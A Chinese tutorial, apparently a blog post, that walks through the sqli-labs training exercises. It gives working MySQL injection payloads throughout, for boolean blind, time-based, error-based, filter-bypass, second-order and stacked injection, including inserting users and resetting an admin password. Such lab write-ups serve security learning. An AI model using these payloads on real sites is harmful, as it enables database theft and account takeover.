web入门_SQL注入_(sqli-labs)
SQL注入
一、布尔盲注
前置知识:
length(str):返回字符串长度
left(str,n):截取长度为n个字符(从左到右)
substr(str,n1,n2):从n1开始截取长度为n2个字符(可以通过substr(str,n1,1)截取第n个)
lilmit 0,1:从0开始,截取后一位
·
思路:因为没回显,可以通过 1 and 1页面显示正常和1 and 0页面显示不正常正常,进而可以判断出我们猜的是否正确;
·
例子:sqli-labs第五关
解题过程:
1、求数据库字长
?id=1' and (length(database()))=*--+通过爆破*选区


可知*为8时候页面显示正常,则当前数据库长度为 8;
payload:?id=1' and (length(database()))=8--+
·
2、求数据库名字
?id=1' and (left(database(),*))='*'--+ //*从1开始;
或者?id=1' and (substr(database(),*,1))='*'--+ //*从1开始;
后者更快一些,可以爆破一次就出来了,前者要每爆出一个字母就要手动插入更新一下已爆出的字母;

可以爆出当前库名字为:security
·
3、求数据库表的个数
?id=1'and (select count(table_name) from information_schema.tables where table_schema=database())=*--+
添加count()来求表的个数,跟求长度的爆破过程一样,求出来表的个数为4个
·
4、求各个表的字长
?id=1'and length((select table_name from information_schema.tables where table_schema='security' limit *,1))=*--+ ——第一个*从0开始;
用limit *,1是因为有多个表,当limit 0,1就是求第一个表长度,limit 1,1就是求第二个表的长度;
求出各个表的长度:
(1)长度6 (2)长度8 (3)长度7 (4)长度5
·
5、求各个表的名字
?id=1'and (substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),*,1))='*'--+ //limit也要手动改一下0~3四个表
用limit *,1也是因为有多个表;
各个表的名字:
(1)emails (2)referers (3)uagents (4)users
·
6、求各个表所对应的列的个数
?id=1'and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails')=*--+
这里是求emails表所有的列个数
每个表对应的列数:
(1)2个列 (2)3个列 (3)4个列 (4)3个列
·
7、求各个列的名字(求各个列的字长省略了)
?id=1'and (substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),*,1))='*'--+
各个列的名字:
(1)id ,email_id (2)id,referer,ip_address (4).... (5)....
·
8、求表中的字段数目
?id=1' and (select count(id) from emails)=*--+
这里我是求emails表中字段数,这里的id换成email_id也行;
求某表中某字段的数量:
(1)emails表的字段数:8
·
9、求指定字段的名字
?id=1' and substr((select id from emails limit *,1),*,1)='*'--+
emails表中id字段的名字
(1)id1=1,id2=2.id3=3...... 一共有8个id
·
·
二、延时盲注
这一关没报错信息,但是有正确信息you are in...显示,所以这一关用布尔和延时都行;如果输入报错信息和正确信息全部都显示的页面都是一样的,就不能用布尔来判断对错,只能用延时盲注通过数据包响应时间判断对错;——sqli-labs第九关就是用延时盲注;
前置知识:
1.if(判断语句,x1,x2):当判断语正确执行x1,否则执行x2;
2.sleep(int n):休眠n秒;
·
思路:(当数据包正常响应延迟为1s)
通过if(sql判断语句,sleep(int n),0)判断语句和时间延长可以来判断出我们猜测的sql语句是否正确,当猜测正确时候,执行sleep()函数,数据包反应的时间就会延迟变成n+1秒,猜测错误则为1s。其余判断的过程与布尔盲注一样;
·
先用id=1' or if(1=1,sleep(1),0)--+看看 有没有产生延迟,若无延迟则不是延迟盲注
这里用or是无论id参数字符型还是数字型都可以执行if(1=1,sleep(1),0)来判断是否为延迟盲注;
若用and的话,数据库中参数id必须要有1这个值,所以解题过程中类似猜不到username参数的值,可以用or;
·
例子:sqli-labs第八关
解题过程
1、求数据库字长
为了更加直观的看到延迟,我设置成100s
?id=1' and if(length(database())=*,sleep(100),0)--+
然后看状态码,此时为8时,状态码还没显示,说明数据包还没返回来,说明猜测字长为8;

数据库名字字节:8
·
2、求数据库名字
?id=1' and if(substr(database(),*,1)='*',sleep(100),0)--+
通过状态码进行排序

或者用ascii码来表示(爆破时候更方便,防止字典不完整)
?id=1' and if(ascii(substr(database(),*,1))=*,sleep(100),0)--+
把ascii码转为字符为:security
当前库名字为:security
·
3、求数据库表的个数
?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=*,sleep(100),0)--+
表个数:4个
·
4、求各个表的字长
?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit *,1))=*,sleep(100),0)--+
各个表的长度:
(1)长度6 (2)长度8 (3)长度7 (4)长度5
·
5、求各个表的名字
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),*,1))=*,sleep(100),0)--+ *//limit ,1星号手动改,代表第n个表的名字
第一个表的名字的六个个ascii码对应的emails
各个表的名字:
(1)emails (2)referers (3)uagents (4)users
·
6、求各个表所对应的列的个数
?id=1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails')=*,sleep(100),0)--+

每个表对应的列数
(1)2个列 (2)3个列 (3)4个列 (4)3个列
·
7、求各个列的名字(求各个列的字长省略了)
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),*,1))=*,sleep(100),0)--+ *//limit ,1星号手动改,代表第n列的名字

各个列的名字
(1)id ,email_id (2)id,referer,ip_address (4).... (5)....
·
8、求表中的字段数目
?id=1' and if((select count(id) from emails)=*,sleep(100),0)--+**
求某表中某字段的数量
(1)emails表的字段数:8
·
9、求指定字段的名字
*?id=1' and if(ascii(substr((select id from emails limit 0,1),*,1))=*,sleep(100),0)--+****//limit ,1星号手动改,代表第n个字段的id值
当limit 0,1时对应第一个id的ascii码为49,转十进制为1;

当limit 1,1时对应第二个id的ascii码为50,转十进制为2;
emailes表中id字段的名字
(1)id1=1,id2=2.id3=3......
·
·
三、报错注入
前提源码中需要有**$result=mysql_query($sql,$conn) or die(mysql_error());**中**mysql_error()**这样的报错函数;
·
前置知识:
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1):通过这个来进行报错回显出数据库信息
·
例子:sqli-labs第一关(select)
思路:通过updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)进行回显报错出数据库信息;
·
解题过程:
1、爆数据库名字:
and(select updatexml(1,concat(0x7e,(select database())),0x7e))

payload:?id=1'and(select updatexml(1,concat(0x7e,(select database())),0x7e))--+
·
2、爆表名:
and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))--+

payload:?id=1'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))--+
·
3、爆列名:
and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))

payload:?id=1'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="emails")),0x7e))--+
·
4、爆数据:
and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

payload:?id=1'and(select updatexml(1,concat(0x7e,(select group_concat(id)from emails)),0x7e))--+
·
·
例子:sqli-labs第十七关(updata)(密码重置)
思路:这一关是密码重置,而且要先输入存在的用户名和要修改的密码,这个过程是对密码进行更新过程,所以对密码下手,而且这个过程是updata过程,不是select过程,所以联合、延时和布尔用不了,考虑报错盲注,在update语句中闭合操作;

可以看出得在密码下手,在用户名中下手没用;
·
解题过程:
passwd=asd' and updatexml(1,concat(0x7e,(SELECT+database()),0x7e),1)--+

后面跟前面的解题过程一样;
·
·
例子:sqli-labs第十八关(insert)(UA头)


思路:题目给出IP地址,看到源码UA头用sql插入insert,并且有三个参数,利用闭合+报错盲注;并且这题前提还得账号密码正确才能进行到insert的插入功能;
·
解题过程:
1、源代码:
INSERT INTO 'security'.'uagents' ('uagent', 'ip_address', 'username') VALUES ('$uagent', '$IP', $uname)
·
2、以$uagent为对象来闭合VALUES():
VALUES ('$uagent', '$IP', $uname)
VALUES ('1,2,3)#', '$IP', $uname)——>VALUES ('1,2,3)#——>VALUES ('1',2,3)#闭合完成
变成了
INSERT INTO 'security'.'uagents' ('uagent', 'ip_address', 'username') VALUES ('1', 2, 3);2和3的位置可以注入报错(这里相当于'1',2,3分别赋值给uagent,ip_address,username)
·
3、注入报错:
INSERT INTO 'security'.'uagents' ('uagent', 'ip_address', 'username') VALUES ('1', 2, updatexml(1,concat(0x7e,(SELECT database()),0x7e),1))
爆出数据库信息

payload:1',2,updatexml(1,concat(0x7e,(SELECT database()),0x7e),1))#
·
·
例子:sqli-labs第十九关(insert)(referer)
当我们输入的账号密码不正确时候只返回ip:

当我们输入账号密码正确时候返回ip和referer

测试UA头和密码都不存在注入,尝试referer报错注入,过程跟上面UA头报错注入一样,只不过这里只有两个参数ip和referer;
payload:1',updatexml(1,concat(0x7e,(SELECT database()),0x7e),1))#
四、sql注入绕过过滤
1.注释符过滤(sqli-labs二十三关)
思路:正常情况是闭合后把后面剩余的引号要注释,若没注释符了可以自行再加一个引号对后面剩余的引号进行闭合,可以通过加个or 或者and来形成 语句 or ‘’(相当于语句 or 1)
·
解题过程:
1、测试闭合:
确定单引号报错

通过or '闭合成功

2、构造sql注入语句
报错注入:?id=1' or updatexml(1,concat(0x7e,(SELECT+database()),0x7e),1) or '

延迟注入:?id=1' or if(length(database())=8,sleep(100),0) or '

·
2、or和and过滤
1、大小写变形:将原本的 or 和 and 替换为:Or、oR、And、AND、aND、aNd等等。
2、转换编码输入:将 or 和 and 使用hex,urlencode等编码方式进行转换后在输入。
3、添加注释:例如:/*or*/
4、双写绕过:例如:oorr,aandnd 等。
5、可以使用%26%26代替and。%26 代表字符 '&' 。有时候&&不能用但是可以使用%26%26反正就这两个轮换着试验,哪个可行用哪个。
6、利用符号:and替换为&&、or替换为||
·
3、空格过滤
一般过滤空格,建议用报错注入
1、/**/(注释绕过)
2、%09 Tab键(水平)
3、%0a 新建一行
4、%0c 新的一页
5、%0d return 键
6、%0b Tab键(垂直)
7、%a0 空格
8、() 绕过,主要通过括号去将某些语句独立起来,这样就不需要空格了。
·
例如利用空格绕过:
爆表名:
(updatexml(1,concat(0x7e,(SELECT(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23
'
4、引号过滤
通过宽字节绕过%df(�)
有时候可以通过函数利用转义字符\把单引号'过滤掉变成\',这时候在单引号前加%df(�)宽字节(宽字节占两字节,\占一字节,所以�'可以把转义字符\覆盖掉);
https://blog.csdn.net/qq_42181428/article/details/105061424
·
5、等号过滤
用like来替代=
·
·
五、二次注入
例子:sqli-labs第二十四关
·
二次注入原理:
1、先插入一段恶习代码;
(1)后端(PHP)代码对语句进行了转义
(2)保存进数据库(mysql)时没有转义,是原语句
2、再利用这段恶意代码;
·
思路:注册一个有管理员名字一样且后面加上引号闭合和注释符的名字(admin'#),后面可以通过修改密码利用updata进行闭合,变成对admin进行密码修改(此时已经通过身份验证了)
update users set password='123' where username='admin '#'
·
解题过程:
1、插入恶意语句
先注册一个账号为admin'#
2、利用恶意语句
修改密码时候已经通过身份验证
update users set password='123' where username='admin '#'
通过'#相当于对admin进行密码修改
update users set password='123' where username='admin '
·
·
六、堆叠注入
·
原理:类似mysqli_multi_query()函数就支持多条sql语句同时执行。因此可以通过构造自己的sql语句对数据库进行增删改查(类似insert、updata、delete语句)
insert into users(id,username,password) value (12,'admin','abc123')
updata users set id='1',username='admin',password='abc123'
或者指定条件(修改用户名为admin的密码变为abc123)
updata users set password='abc123' where username='admin'
·
解题过程:
1、形成闭合
?id=1')--+
2、插入构造语句
?id=1') ;insert into users(id,username,password) values('17','aaa','bbb');--+

浙公网安备 33010602011771号